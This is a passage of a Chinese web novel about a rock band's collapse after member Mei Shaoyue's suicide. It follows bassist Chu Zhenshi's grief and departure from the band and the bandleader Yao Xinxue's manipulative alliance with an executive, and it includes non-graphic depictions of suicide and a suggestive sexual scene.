他有些难以置信地睁大了眼睛,等大脑反应过来时,他的身体已先一步冲上去,粗鲁地摇着梅梢月大喊:“梅梢月,梅梢月,喂,快醒醒,别他妈睡了……” 可是梅梢月像个假人一样,怎么摇都摇不醒,楚枕石的心跳急促,眼睛通红,他缓慢地意识到可能发生了什么,颤抖着手指,慢慢地去探梅梢月的鼻息。 楚枕石的心脏仿佛在那一秒停下了,如同被人狠狠地掴了一巴掌,处于巨大的震惊、无措、怀疑、绝望和悲伤之间,楚枕石的眼睛里先条件反射地溢出了泪水。 他努力冷静,把梅梢月小心翼翼地放下来,然后拨通了120的电话:“喂,是120吗……这里有一个成年男性好像休克了,我需要……他怎么摇都摇不醒。我……他……” 楚枕石的声音开始哽咽,此刻和医护人员报着地址和姓名,他努力地平复呼吸,试图告诉自己,现在不是他想象的按个最坏结果。 他挂断电话,咬着牙,将双手按在梅梢月的胸膛上,一次又一次重重地按压着:“梅梢月,梅梢月,你快醒醒,别给我装了,开什么玩笑……” 大滴大滴的眼泪落下来,落在梅梢月毫无起伏的胸口上,楚枕石甚至已经听不见楼下传来救护车的鸣笛声。 穿着白大褂的人,穿着警服的人猛地撞开了门,将他粗暴地拉开,楚枕石大口大口地吸着气,哄着眼睛,有些难以置信地偏了偏头。 半晌后,护士转过头轻轻地对楚枕石说:“他已经去世了。” 梅梢月死了。 梅梢月真的死了。 楚枕石只感到心口无尽的闷痛,他沉默地看着几个人将梅梢月像搬着什么物件一样抬上担架,然后在那张曾天真而幸福的脸上盖上白布。 咔嚓,咔嚓,咔嚓。所有狗仔都围了上来,无数问题也都涌了上来,但是楚枕石既没有掩饰自己的身份,也没有回答任何人的问话。突如其来的一切如同洪水猛兽吞尽了他的意识。 仿佛有什么东西毫不犹豫地将他心脏的某一块给抽走了,直到看着警察们留在梅梢月的房间里拍照取证,自己坐上了救护车,楚枕石依然感到难以置信,他不知道现在自己是什么情绪,呆呆地望着前面摇晃的车影,眼眶只是一直在流出泪水。 毫无疑问,梅梢月是他最好的朋友。 楚枕石爽朗,纯粹,靠谱,喜欢和单纯干净的人玩,而梅梢月恰好就是这种人。从梅梢月给他借出第一把昂贵的贝斯起,楚枕石就知道梅梢月会成为他很好的朋友。 可现在一切都被毁了。 楚枕石不知道是哪里出了问题,好好的人,怎么一夜之间就没了呢? 就在两周前,他还在和梅梢月坐在同一张餐桌上吃饭。 为什么? 楚枕石感到茫然,他头痛般痛苦地揪着自己的头发,对护士关心忧虑的目光视若无睹。 “请节哀,他很痛苦,应该是吞药自杀的,真是决绝。”护士在旁边轻轻拍了拍他的肩膀。 楚枕石没有搭腔,只是沉默地抹了一把自己留有泪痕的脸。 他开始握着拳头,猛地“砰砰砰”用力砸向后门,护士被他吓了一跳:“怎么了?” “我要下车,停车,停车!”楚枕石红着眼睛说。 司机猛地踩了一脚刹车,从后视镜看过去,只见停车后楚枕石毫不犹豫地开了门跳了下去。 梅梢月自杀死亡的消息早在第一时间传了出去,在那十分钟里,整个国家的人都轰动了。 一时间没有人敢相信。 悔恨的、茫然的、崩溃的、不屑的声音如潮水般铺天盖地涌了出来,像是足够能把梅梢月生前所冠下的一切罪名都冲刷掉,所有人都在等一个确切的信息,关心着他的人眼睛都红了。 在疯狂的舆论和无尽的闪光灯里,只有楚枕石一个人一路狂奔,狂奔到了指针音乐的宿舍楼。 他连气都没有喘匀,就又一次重重地锤在门板上,开门的人正是尧新雪。 楚枕石很狼狈,他仿佛失去了所有力气,只是直直地看着面前的人。 尧新雪穿着无袖背心,一如和楚枕石初见时那样看起来美好而干净。此刻他正微微皱着眉,有些担心地看着楚枕石。 “梅梢月自杀了。”楚枕石慢慢说。 “我刚看到消息。”尧新雪轻声说,他漂亮的眉宇间有着恰到好处的难过,话尾仿佛甚至带着极轻的叹气。 “他最后一通电话是打给你的,对不对?我看到了。”楚枕石注视着尧新雪,不知道为什么,仿佛极为受伤。 “是。”尧新雪侧着头,靠着门边,望着楚枕石愤怒的眼睛。他的目光平静而温柔,和楚枕石印象里那个可靠的、万能的、才华横溢的队长毫无分别。 “他向你求助了对不对,他想你帮他是不是?”楚枕石追问着,他的心简直乱套了,他甚至勉强扯出一个笑容看着尧新雪,他甚至无法解释自己为什么就这样冲动地跑了过来。 “是。”尧新雪看了他一会,最后却没有否认。 楚枕石的心沉了下来,他的眼睛又一次微微放大了,嘴唇微微颤抖着,尧新雪的回答如同一把巨大的邢斧,重重地砍上了他的胸膛。 楚枕石的脑子里浮现出一个场景:就在昨晚,处在绝望边缘的梅梢月给尧新雪打来了电话,梅梢月的第一反应是想要向尧新雪求助。梅梢月希望尧新雪能够出面为他澄清,因为他是那样信任、爱慕、依赖着尧新雪。 可尧新雪拒绝了他。 这成为了压死骆驼的洗后一根稻草,梅梢月因此彻底崩溃了。 楚枕石的脑子一瞬间想明白了这里的前因后果,他看着眼前的尧新雪,感到如此的陌生,他有点想笑,因为觉得荒唐,又很想哭,因为觉得荒唐。 楚枕石艰难地问出了那个问题:“你真的拒绝他了吗?”他的眼神饱含着乞求意味,乞求着尧新雪不要说出那个令他害怕的答案。 尧新雪垂下眼,他没有看楚枕石的眼睛,而是温柔地理着他因为仓促跑过来而散乱的衣领。 楚枕石的眼睛很酸,在那安静的三秒之后,尧新雪低声道:“枕石,黑羊还不能做那只出头鸟,我们不可能在这里停下。” 他真的拒绝了梅梢月。 楚枕石的脑子里只有一个声音,他凝视着尧新雪。 尧新雪神色温柔,望着他的眼神里甚至有着些许担心的意味,与当初为了救他而被葡萄架砸到骨折也依然在微笑的那个人没有任何区别。 可到底有什么变了? 楚枕石感觉到齿冷,不死心般又追问了一遍:“他很喜欢你……” 他那么崇拜你,那么爱你,那么喜欢你,为什么不帮他? 尧新雪为什么这么残忍? 楚枕石执着地看着尧新雪,他的手因为一路狂奔没注意,多了许多刮蹭来的伤口。尧新雪只淡淡地扫了他那布满了细小伤痕的手,没有作答。 楚枕石只是在那一瞬间知道了答案,在下一秒他猛地抬起了拳头,重重地挥向了尧新雪。 ——尧新橙却先一步扣住了他的手腕。 尧新雪偏了偏头看向楚枕石。 “喂。”尧新橙的眼神冷漠得仿佛楚枕石是个陌生人,而不是与他曾朝夕相处的队友,甚至有着些许被触怒的意味。 “别碰我!”楚枕石猛地甩开尧新橙的手,他吸了一口气,后撤两步,望向尧新雪的眼睛饱含痛苦和悔恨,他一字一顿地说:“我要退出黑羊……你不再是那个会在葡萄架倒下时毫不犹豫救我的队长了。” 第52章 尧新雪平静地望着楚枕石踉跄着离开的背影,他知道,楚枕石永远不会再回头了,楚枕石将永远不再站在黑羊身边。 尧新橙却有些出神,尧新雪对楚枕石毫不犹豫的舍弃,如同一根极细的针慢慢地刺进了他的心脏,他感到没由来的、极轻的痛楚。仅仅是想象着尧新雪也将这样轻易放弃他,尧新橙就已经感呼吸困难。 他并不在意梅梢月的死或是楚枕石的离开,他只害怕自己也会成为尧新雪放弃的那一个人。 “哥哥……他……”尧新橙艰难地开口。 尧新雪依然注视着那个背影,他有些残忍地挑起嘴角,眼神从短暂的遗憾转到了漠然。他转过身,然后淡淡道:“无所谓,宋燃犀会理解的。” 尧新橙只在那一瞬间嗅到他长发的香,然后就什么都没有了。 尧新橙站在原地,呼吸一滞,最后一言不发地转身跟了上去。 尧新雪随手脱了自己的上衣,毫不顾忌尧新橙的视线,从容地叮嘱道:“去换一套黑白的衣服吧。” “好。”尧新橙接过了他换下的衣服。 梅梢月的人际关系网相当简单,他的养父母在看到那条爆掉的热搜之后就马不停蹄地飞了过来,其余的只有他的经纪人、大学时期的两个好朋友和楚枕石。 他的养父母还穿着颜色鲜艳的衣服准备去探望他,却没想到这条消息竟然就是真的。 女人跪在医院里大哭,男人则如同丢了魂似的,紧紧地抱着妻子。 从见到那个腼腆的、安静的男孩那一天起,他们就决定把他领养回家,当做亲生骨肉养大,他们给他起了一个名字——梅梢月。 因为“爱他时似爱初生月,喜他时似喜梅梢月”,他们见到这个孩子的那一天,夜空之上初生的月亮是那样清明美好。 而今对他们来说,时间却似乎永远停滞了。 楚枕石听着房间里面的哭声,红着眼睛握紧了拳头。 之后的一切都很快,无论你是光鲜亮丽备受瞩目的明星,还是平凡得站在人海里也无人注意的平凡人,在死亡面前,都如初生婴儿般平等。 他的所有苦乐爱恨,辉煌落寞,有罪与否,都好一似食尽鸟投林,落了片白茫茫大地真干净。 热搜爆了,警察不得不所有媒体都被隔绝在外,无论是经纪人,还是梅梢月的其他朋友,匆忙地赶来,在真正看到梅梢月死灰的脸时,都哑口无言。 一切都是那么荒唐,如同大梦一场。 在确认他为自杀之后,梅梢月的尸体就被安置进了棺材里。 梅梢月的棺材还没有被抬出医院,楚枕石就在走廊的转角看到了尧新雪。 尧新雪蓝灰色的长发在后脑束着,他的身后跟着尧新橙和薛仰春,手里捧着一束白色的雏菊,眼睛有些红,像是刚刚哭过。 楚枕石已经分辨不出他到底是真伤心还是演出来的了。 仿佛如鲠在喉般,楚枕石张了张嘴,最后什么都没说。 他没有像过去无数次那样走到尧新雪的身边,绷着下颌,随着浩浩荡荡的人走出了医院,没有给他们三个人一点眼神,哪怕薛仰春正用着悲伤、困惑的眼睛望着自己。 楚枕石从尧新雪的身边走过,连头都没有侧过。 尧新雪同样没有望向他,两人如同陌生人般擦肩而过。 尧新雪没有和他说话,只是轻声地上前安慰着梅梢月的养父母。他们知道了尧新雪的姓名之后,眼泪流得更凶了,攥着尧新雪的手犹如攥着最后一根救命稻草。 “梢月很喜欢你,他一直在找你,不止一次跟我们提起过你的事……”失去至亲的中年人絮絮叨叨地说着,尧新雪只是温柔地拍着他们的背,安抚着。 有几秒,尧新雪甚至微微仰起头,像是强忍着快要流出来的泪水。 一绺蓝色的长发垂落在尧新雪白皙细腻的手背上,更为他的侧影增添了一种令人动容的脆弱感。 梅梢月的后事安排得很快,夏天天气炎热,尸体不能久停。 在停放了一天之后,脸色苍白,布满泪痕的父母决定了将他火化。 梅梢月的朋友太少了,就在第二天的焚化炉前,甚至没有站够两排人。 尧新雪和他的父母站在第一排,目睹着梅梢月的棺材被工作人员缓缓地、缓缓地推进焚化炉。 工作人员告诉他们,要对着他大声喊着快跑啊,着火了,让死者听见,他才能安心地走。 于是楚枕石注视着炉门关闭,听见火焰尖锐的鸣叫,他和所有人一起大声喊着:“快跑啊,梅梢月,快跑啊,着火了。” 楚枕石仿佛亲眼看到熊熊大火烧着梅梢月,烧得这个曾经的挚友彻底面目全非。 焚烧的时间长达两分钟,身边人震耳欲聋的喊叫却成为了楚枕石永远也无法忘却的噩梦,他深深地鞠着躬,甚至不敢抬起头,泪水夺眶而出。 他在心里慢慢地说:着火了,傻子,快跑啊。 等待领取骨灰的时间很长,所有人都在梅梢月父母的身侧安慰着,楚枕石站在人群之外,不知道又在想什么。 他又一次抹了抹自己的脸,然后低着头。 视野里出现了一双黑色的运动鞋,楚枕石不用抬头都知道,那是薛仰春。 他知道薛仰春想问什么,但他依然没有抬头。 等了一会,薛仰春就蹲下身,红着眼睛抱住了他,楚枕石又一次控制不住自己的泪水。 “别哭啦,梢月他太苦了。”薛仰春像哄小孩一样,放轻声音,将手指插进楚枕石柔软的头发里。 楚枕石没有出声,只是安静地流着眼泪。 在过去,他始终把薛仰春当做亲妹妹来看待,此刻他却没有伸出手去回抱住薛仰春。 梅梢月是楚枕石的朋友,是他的亲人,黑羊的所有人在他的心里也同样重要。 尧新雪是他敬畏的、无条件信任的队长,尧新橙是他宠着的弟弟,薛仰春是他护着哄着的妹妹,可是这些居然都成为了一个巨大的、巨大的笑话。 命运推着他让他看清真相,让他做出绝望的选择,让他知道自己再也不会拥有一个,挤在充满泡面味的出租屋里通宵大笑着写歌的夏天了。 楚枕石感到呼吸困难,他啜泣着,头痛欲裂。 明明只是一句话的事,明明只是一句话的事,尧新雪却就是不去做……他明知道梅梢月这么爱他,却堂而皇之地用着“乐队”作借口。 多虚伪,多残忍啊,尧新雪为了所谓的理想,就这样无形地、毫无愧疚地把另一个无辜的人推进了地狱。 楚枕石又一次想起他去出租屋面试的那一天。 尧新雪就这样仰起脸,温柔而笃定地说:“黑羊乐队会成为举世闻名的乐队。” 一个宣言,一个无可争议的事实。 楚枕石到现在依然能回想起尧新雪说出那句话时闪亮的双眼和语气,多么可笑——那时楚枕石甚至也为此深深骄傲着。 隔着一层泪水,楚枕石用余光瞥见了不远处的尧新雪。 那个漂亮的、曾让他无比信任着的队长正抱着身体微微颤抖着的尧新橙,轻声安抚着。 是了,尧新橙怕火,刚刚还亲眼看着……楚枕石的脑子一瞬间闪过对尧新橙的担心,转而又觉得自己荒谬——无论如何,他现在都和黑羊乐队没有任何关系了。 就在他准备收回目光时,尧新雪若有所感般偏过头望向了他,眼神平静。 两人就这样久久对视着,最后楚枕石先侧过了头。 “为什么想要退队呀,你太累了是不是,我知道你很难过,但是不要这么冲动呀,我们好好休息一阵……”薛仰春抱着他轻声说,她的声音微微颤抖着,仿佛饱含了痛苦和悲伤。 她先是知道梅梢月的死讯,然后又知道了楚枕石要退队的消息,几乎真的要哭出声来。 黑羊乐队自从成立以来,成员们都没有吵过架,更何况是向来嬉皮笑脸却始终温柔细心的楚枕石。 她抱着楚枕石,眼泪大滴大滴地砸在楚枕石的背上:“你怎么啦,你说话呀,你是不是和队长他们吵架了,我帮你吵回来好不好,怎么要退队啊?不要赌气好不好?” 薛仰春想象着楚枕石会像过去那样回抱住她,然后扯着嘴角笑说:假的啦,我和他们合伙骗你的,怎么就信了,真蠢! 可是楚枕石并没有这样做,他只是按着薛仰春的肩膀,带着不容拒绝的力度,让薛仰春和他拉开距离。 他的目光坚定而冷静,注视着薛仰春通红的眼睛:“不是的,我……” 他感觉到喉咙有如吞了刀片般艰涩,想说几句话安慰薛仰春,最后却只变成了一句“对不起”。 薛仰春盯着他,看着他认真的眼睛,只是安静地流眼泪。 那天下起了暴雨,几道闪电撕裂了夜空,随之而来的是巨大的轰然的雷声。 暴雨倾盆而落,整个城市仿佛都被雨水浸透,世界成为灰茫茫的一片,雨滴齐齐坠落最后汇聚流入臭水沟。 梅梢月自杀的消息举世震惊,很快就成为了其他人饭后的谈资,半个月后,另外一则消息引爆了全网的舆论。 黑羊乐队的官方账号这样写道:贝斯手楚枕石退队,黑羊乐队祝楚枕石今后前程似锦,万事胜意。 第53章 钟鸣一开始并不相信梅梢月死了这件事。 直到他在监控面前坐了整整一周,才缓慢地反应过来——梅梢月真的死了。 遍布着梅梢月的家、工作室、录音室甚至是梅梢月经常去的宠物店都有着他安放的摄像头,但这些摄像头实时传来的画面已经超过一周没有出现过梅梢月的身影。 当钟鸣凝视着梅梢月失控般吞下所有看不清瓶身字迹的药片,他甚至还没有意识到梅梢月可能真的会“死”。 死。 这个字从脑子里闪过时,钟鸣本能地颤抖了一下。 此刻他坐在沙发上,死死地盯着电视上同步转播的盖着白布的尸体,没有梅梢月的面容,可露在白布外的手还是让钟鸣一眼就认出了——那确实是梅梢月。 他的胸口发闷,呼吸困难——憎恨、愤怒、悲伤种种情绪没了过来,握着遥控器的手发出可怕的咔咔声。 他的眼睛变得很红,眼前的一切变得模糊,耳朵仿佛也再一次陷入了持续的耳鸣。 钟鸣有些忿恨,发泄般捶着自己的脑袋,可两道熟悉的声音还是同时响在了他的耳边。 一个是少年梅梢月的声音,稚嫩、惊讶、带着些许害怕:“你的手划伤了!” 一个是青年梅梢月的声音,关心、忧虑、有些冲动和直接:“你没事吧,是哪里不舒服吗?” 钟鸣有一瞬间地恍惚,他猛地抬起头,周围却什么人都没有,只有电视机里记者激动地报告着:“现在我就在医院的楼下,天才歌手梅梢月在凌晨四点吞药自杀,他的尸体呈……” 钟鸣干裂的嘴唇微微颤抖,最后将手里的遥控器猛地扔向了电视机。 在梅梢月身负谣言时,指针音乐的股价曾为此一跌再跌,以段以宿为首的一派股东早已开始联合向梅梢月施压,让他交出手中指针音乐的股份,如今人一走,便更是无所顾忌。 在几个戴着眼镜、西装革履的律师的注视下,他的养父母为他签署了股份的转让合同。 他们还处于巨大的悲伤之际,双眼无神,颤抖着手签下了名字。即使不相信梅梢月会做出那些事,凭借着他们对自己养子善良性格的了解,也知道梅梢月绝对不会愿意拖累别人。 梅梢月的股份以极低廉的价格卖给了段以宿,当助理将那份合同呈上段以宿的办公桌时,段以宿没有看一眼。 因为他就是这样傲慢和自信——他想要什么,就一定会得到什么,为此用什么手段都可以。 助理看到段以宿的嘴角微微挑着,带着半是温柔,半是残忍的笑意,他看着电脑屏幕,手指放松地点着长桌。 助理顺着他的视线,望见了屏幕上的人——那正是当下指针音乐最具话题度的摇滚乐乐队主唱,尧新雪。 他的怀里抱着一束白色的雏菊,脸色几近苍白,长发低低地绾成低马尾,眼尾有些红,看起来楚楚可怜,宽松的衣服甚至可以看见隐约的锁骨。 助理适时地在段以宿的目光转过来前开口:“需要为您预定今晚的餐厅吗?” “不用了,我回家吃。”段以宿因为“家”这个字眼感到愉悦,他随意地抓过了椅背的外套,就这样在助理困惑的目光下,大步走了出去。 他开着车,最后停在了别墅前。 和上一次的乌黑不同,这一次整座别墅都灯火通明。 段以宿远远地看见亮着的灯时,不禁无奈地笑着摇摇头——小孩子就是这样,很幼稚,想一出是一出。 只要尧新雪不想开灯,那么整栋别墅就是暗的;只要他想要开灯,那么整座别墅都要为他亮起。 这一点和段以宿是那么相同。 段以宿走进去,就听到了唱片机里放着一首歌,那是梅梢月的《Revelry》。 梅梢月轻快的歌声与堪称天才的伴奏回响在偌大的客厅,尧新雪穿着浴袍,赤着双脚踩在大理石地板上,随着旋律踮着脚转了一个又一个圈。 尧新雪当然听到了段以宿开门的声音,但是他视若无睹。 “就让这个夜晚永不落幕,” “狂欢吧狂欢吧,让我们永远留在这里。” …… 尧新雪在梅梢月最后的歌声里,抬起左手的手指比做枪状,抵在了自己的太阳穴上。 他眉眼弯弯,嘴角微微扬起,看着不远处欣赏着他演出的段以宿,然后用嘴型说了个“砰”字,仰头就倒了下去。 段以宿在尧新雪的后脑勺着地前先抱住了他。 段以宿的手掌托住了他的后脑勺,先是感到他头发的软,然后才是手背传来的大理石板的冰凉和撞向硬物带来的些许痛意。 但段以宿面不改色,他望着怀里的尧新雪,眼睛有捉摸不透的笑意,他的嘴角也微微挑起:“怎么,你还想给死人陪葬吗?你心疼一个死人?” “这倒没有,你会怎么对他,我知道。我只是在想,看着我倒下去,你会是什么反应?”尧新雪躺在他的臂弯里,笑了一下。 “现在满意了?”段以宿挑着眉反问。 “不满意,你让我的乐队损失了一个贝斯手。”尧新雪的眼睛眨了一下,满是狡黠意味。他被段以宿笼在身下,手里随意地把玩着段以宿的领带,像只猫一样,无所谓着那条领带的价值。 头顶昂贵的水晶灯弥散着明黄色的光,段以宿的脸给他挡了一大半,剩下一点光落在尧新雪光洁的额头、左手和脚踝上。 因为浴袍绑得很松,动作之间,已经散乱得差不多了,段以宿终于能看见电脑屏幕上隐约的、不明晰却令人想入非非的画面——他看见尧新雪起伏的锁骨和被蹭红的胸口,那块红色的、有着眼睛纹理的石头坠在胸前,如同白雪上鲜红的石榴。 尧新雪微微抬着头,仰着颈,将凸起的喉结与最脆弱的地方完整地暴露在段以宿的视线之下,他不出声,却呼吸都勾人,眼睛仿佛在说:进来。 段以宿的呼吸重了一点,在他的手掌即将扣上尧新雪的颈时,尧新雪却忽然起身,用腰发力,一手按着他的胸口推着他往后仰,然后像骑马一样坐在了他的腰上。 段以宿的后脑勺以一个不矮的距离撞向了地板,“砰”地一下,他浑身的肌肉一瞬间紧绷,眼神闪过一瞬间的狠戾,本能地想要抬起手攥住人的手臂,动作却猛地一顿。 因为尧新雪仿佛一个恶作剧成功的孩子,望着他笑了起来,笑得甚至肩膀在轻轻地颤抖。 段以宿有些无奈,他叹了口气。 尧新雪居高临下地欣赏了一下段以宿的表情之后,按着段以宿的肩,慢慢地亲了一下他的唇角。 段以宿的呼吸加重,他不躲也不闪,只是克制着把尧新雪拽下来的冲动。 尧新雪吻任何人都像赏赐,懒洋洋地,眼尾稍长,只是轻轻一触,不带任何情或欲的意味,像是仅仅是因为想做,就这样做了。 奇怪的是他的姿态并不高高在上,却就是这样能轻易地让对方意乱情迷,自觉地顺从、臣服,甚至于在他尚未凑近对方之前,对方就已经忍无可忍般鲁莽地想要吻他的嘴唇。 然而段以宿的领带依然在他的手里,如同一条狗链,被尧新雪缠在自己的掌心里。 那条被他玩得皱皱巴巴的领带绕过他的虎口,绕过他隐约可见着青紫血管的手背,最后被牢牢地攥在尧新雪的掌心。 段以宿厌恶被当作下位者,却因为尧新雪刚才主动的亲吻变得冷静和宽容,没有遵循着本能把他掀翻,而是任他在自己身上胡作非为。 尧新雪一定是优秀的、杰出的驯兽师,他的动作干净、漂亮,甚至理所当然。 段以宿能感觉到自己颈上的领带在缓慢地收紧,过去他让尧新雪所感受到的此刻被尧新雪一一复现在他自己身上。 段以宿感到呼吸有些困难,他绷紧了下颌,仰着脸望着尧新雪满含笑意的眼睛。 他直白、赤裸的视线始终没有离开过尧新雪,如同一头受困的野兽,藏匿在人皮之下,正焦躁地、不耐地渴望着用獠牙撕开眼前的人。 尧新雪轻轻地笑了一下,笑声如同羽毛撩了一下段以宿的心。 过了几分钟后,尧新雪终于玩厌了,他随意地松开了段以宿的领带,漂亮的手指转而往下伸,开始解着段以宿皮带上的金属扣。 段以宿的眼神变得耐人寻味,他只是象征性地动了动腰,示意着尧新雪做出解释。 “恭喜你拿到了梅梢月的股份。”尧新雪想了想,随口说。 “其实应该也有你的一份,没有你的袖手旁观,梅梢月还不会这么脆弱,事情的进展应该也没这么快。”段以宿偏了偏头,笑了一下,“算下来,也就一年而已。” 一年之前,正是那第一篇构陷梅梢月文章发出的时间。 段以宿注视着尧新雪慢悠悠地拉开自己的浴袍,那始终被遮掩着的雪白皮肤终于完整地暴露在了灯光之下,他看着尧新雪微微皱了皱眉,仰着脸侧过身,稍稍挺着窄瘦的腰。 段以宿觉得自己今天确实太宽容了,几秒之后,他继续说:“我是不是应该跟你说谢谢?嗯?” 尧新雪没有理会他的话,只是闭上眼睛,双手撑在他的肋骨上慢慢地动作。 段以宿的太阳穴突突地跳,他睁眼看着眼前的尧新雪,蓝灰色的长发与他白皙的皮肤构成了强烈的视觉上的冲击,让他忍不住紧扣住尧新雪的膝盖。 “说话。”段以宿命令道。 尧新雪睁开眼睛,向段以宿懒懒地吐了吐舌头。 “你在说什么?”他歪了歪头,故作天真和无辜,不耐的样子更像是嫌弃段以宿太吵了。 周围的温度像是在升高,尧新雪感觉到很热,身下的热如一簇簇火苗在慢慢地灼烧着、舔舐着他。 他的表情有些享受,又有些不满,仿佛落在了绵长的、有着些许煎熬的欢愉里,灯光之下,段以宿甚至能看到他鼻尖上一点晶莹的、剔透的汗珠。 几秒之后,段以宿哼笑了一下,然后学着他的语调懒洋洋道:“假惺惺。” 话音未落,他就猛地坐起来把尧新雪像抱着洋娃娃似的抱了起来,突然强硬的动作与骤然拉近的距离让尧新雪闷哼一声,眼角甚至溢出了些许生理性的泪水。 他整个人悬挂在段以宿的身上,然后不得不抱住段以宿的脖子。 段以宿紧紧地扣着他的腰,残忍地,毫无保留地将他拥进怀里,在感觉到怀里的人微微颤抖时,段以宿笑了笑,他凑近尧新雪的耳朵说:“梅梢月最后找你了吗?” “没有,你把我在他的心里想得太重要了。”尧新雪也同样低声笑了,他的呼吸不稳,缠在段以宿腰上的双脚脚背紧绷。 第54章 梅梢月身亡和楚枕石退队的消息如同两颗炸弹接连炸了出来,引起了整个圈子的大动荡,几乎所有人都像掉进瓜田里的猹,疯狂地梳理时间线,四处追问或转发消息。 黑羊乐队的消息同样在风头上,但是没有一个人给出解释。 如同太阳会东升西落般稀疏平常,黑羊乐队的核心成员楚枕石就这样平平淡淡地退出了。 就连乐队的一员薛仰春也不知道原因,楚枕石、尧新橙和尧新雪都没有告诉她,都把她蒙在鼓里。 薛仰春在加入黑羊乐队后迎来了第一个长假,却始终笑不出来,于她而言,楚枕石退队无疑是家人离家出走。 尧新雪把她抱在怀里,温柔得令她更是止不住哭,但即使她一再追问楚枕石离开的原因,尧新雪也依然没有告诉她,只是说:“这段时间先好好休息吧。” 薛仰春红着眼睛“嗯”了一声。 尧新雪则垂着眸,掩去了眼底那点不明的情绪。 宋燃犀正在自家的私人医院和院长聊天,他刚从片场赶回来,躲在车里换了套西装之后,就从灰头土脸的“十八线”演员变回了年轻的少东家。 在解决完宋氏集团的事之后,他就猛地一头扎进了电影里,几乎没有在社交平台上活跃过,也就很快被大众遗忘。 今天他要和医院的几个重要负责人谈宋氏新上市的药的事,一边拿着文件夹,一边聆听那些人的汇报,看起来游刃有余。 他很年轻,漫不经心的眼神扫过来却极有压迫感,哪怕和一些浸淫商场多年的老狐狸相比也毫不逊色。 宋燃犀以一己之力挽回了宋氏集团的颜面并在一个月内将利润翻倍的事早已传得人尽皆知,几个蠢蠢欲动想要自立门户的奸诈的老东西早就老实了,看到宋燃犀不是真纨绔草包,就又开始敲着算盘想要巴结。 在谈完之后,几个四五十岁的中年人自觉地以宋燃犀为话题中心,开始夸赞宋燃犀年轻有为目光长远云云,宋燃犀正扯着笑敷衍他们,思索着要不要应下他们的饭局邀请时,余光瞥向旁侧的某一处。 他的脚步猛地一顿。 ——不远处有一个戴着黑色鸭舌帽、口罩和穿着黑色薄外套的人。 他身形颀长而清瘦,蓝灰色的、稍卷的长发就这样乖顺地散落,膝盖上有一张像是检查报告的白纸。 哪怕鸭舌帽的帽檐压得很低,令人看不清五官,但仅从侧脸的轮廓就足以看出——这绝对是一个极其漂亮的人。 宋燃犀的左眼眼皮一跳,心脏仿佛也在那一秒加速了,他飞快地眨了两下眼睛,确认自己并没有看错。 普天之下,能第一眼引起他注意的人不会再有谁了。 宋燃犀吸了一口气,不动声色地平复了一下过快的心跳,温文尔雅地向那几个依然在嗡嗡响的中年人礼貌说:“不好意思,我还有点事,改日再一起吃饭吧。” 几个中年人眼尖,当然看出了这是宋燃犀的借口,忙顺坡下驴:“哎,宋总忙,我们下次再一起吃饭哈哈哈。” 等他们一走,宋燃犀就极快地迈开了步子,向不远处那人走去。 “喂,尧新雪。”宋燃犀清了一下嗓子,假装路过。 尧新雪没理他,只是靠着椅背,帽檐遮住了眉眼,微微低着头。宋燃犀蹲下身望过去,才看到原来他是睡着了。 宋燃犀扯了扯嘴角,看到他膝盖上的报告后心里又突地一跳,果断地将纸抽了过来。 纸上没写什么疑难杂症,只是写了近视眼手术。宋燃犀一目十行,迅速地记下了上面关于尧新雪身体情况的所有数据,然后才松了口气,最后啧了一声——说实话,他有那么几秒,希望这是怀孕报告单什么的。 尧新雪被他的动作吵醒了,也没出声,只是抱着双臂似笑非笑,微微抬头看着宋燃犀,像是把他那点龃龉的心思看得一清二楚。 宋燃犀轻轻咳了一声。 “你来怎么不跟我说一声,不过还好找的这个医生还不错……” “怎么突然要做近视眼手术,我怎么不知道?” “你这也太轻了,是不是没好好吃饭?” “这个日期真的是你的生日吗?” …… 他噼里啪啦地问了一大堆问题,也许是因为太久没见尧新雪,导致他一开口就是一大串。 尧新雪没有回答他的问题,只是看向从不远处走来的医生,笑着点了点头。 宋燃犀只听到医生护士的一句“宋总好”和“请进”,尧新雪就从他的手里抽走了那张报告。 宋燃犀感到温热的呼吸,属于尧新雪的香根草的气息漫上来,耳尖先是红透,然后才听到尧新雪带着笑意贴着他的耳朵轻声说:“生日是你表哥填的,那天是他把我带回家的日子,他觉得是我和他的纪念日。” 宋燃犀的脸果然就变黑了,他刚想说话,尧新雪就走进了手术室。 近视眼手术要做的时间并不长,很快,尧新雪就走了出来。 手术室的门一打开,宋燃犀就原地弹跳了起来。 护士见到他那仿佛看着老婆顺产生了孩子般激动,就忍不住轻声笑了。她忍不住心想,这个小宋总在传闻里雷厉风行,结果没想到私底下这么不稳重。 尧新雪的双眼还蒙着纱布,他听见护士的笑声,于是也嘴角微微挑起,歪了歪头柔声问:“怎么了?” “小宋总差点飞起来了。”护士开着玩笑。 宋燃犀的耳朵又红了,他也不否认,只是自然而然地拉着尧新雪的手搭到自己的手臂上,然后低声说了句“痛不痛?感觉怎么样?”。 尧新雪只淡淡地说了句:“还好。” 宋燃犀虽然对自家医院的医生有信心,但还是忍不住向医生和护士问多了几句。 护士顺势着就向他交代了几瓶眼药水的用处和注意事项。 宋燃犀认真地听着,理所当然地把自己当成了尧新雪的家属。 尧新雪站在旁边,偏了偏头,也没出声。 他蒙住双眼的时候其实是很好看的。 尧新雪的眼睛明亮而有神,眼尾稍稍上扬,眉骨较高,柔得如同含着一湖的水,因此在看向他时,别人首先会被他的双眼吸引,其次才是他的面容。 如今他那双勾人的眼睛被蒙上了纱布,终于将视觉中心移到了他高挺的鼻梁和薄而红润的嘴唇上。 在听到护士说可以揭开纱布后,尧新雪抬起了手指,刚想碰向眼睛,就被宋燃犀制止了。 宋燃犀脸不红心不跳地说:“晚上再摘。” 确认了所有注意事项之后,宋燃犀带着药握住了尧新雪的手。 “要不要我背你?或者抱着你走?”宋燃犀凑近尧新雪的脸,仿佛下一秒就要亲上来。 尧新雪的嘴角挑了一下:“我嫌丢人。” 宋燃犀啧了一声:“没人敢说你。” “哦。”尧新雪眉眼弯弯。 因为是私人医院,所以人很少,且医护人员都极有眼力见,自觉回避了,所以宋燃犀牵着尧新雪走到电梯路上可谓相当顺利。 等把尧新雪带上副驾之后,宋燃犀随口问了句:“去哪?” 他倾身过去,想要给尧新雪系上安全带,却因为两人的距离骤然拉近感到更加心痒难耐。 仗着人的眼前有纱布,宋燃犀只是攥着安全带,一手按在副驾的椅背上,一手按在安全带上——一个完完全全把尧新雪笼在怀里的姿势。 “回录音室。”尧新雪微微一笑。 “不准。”宋燃犀一挑眉,声音低哑。 他们的距离实在太近了,以至于分不清彼此的呼吸声与心跳声。 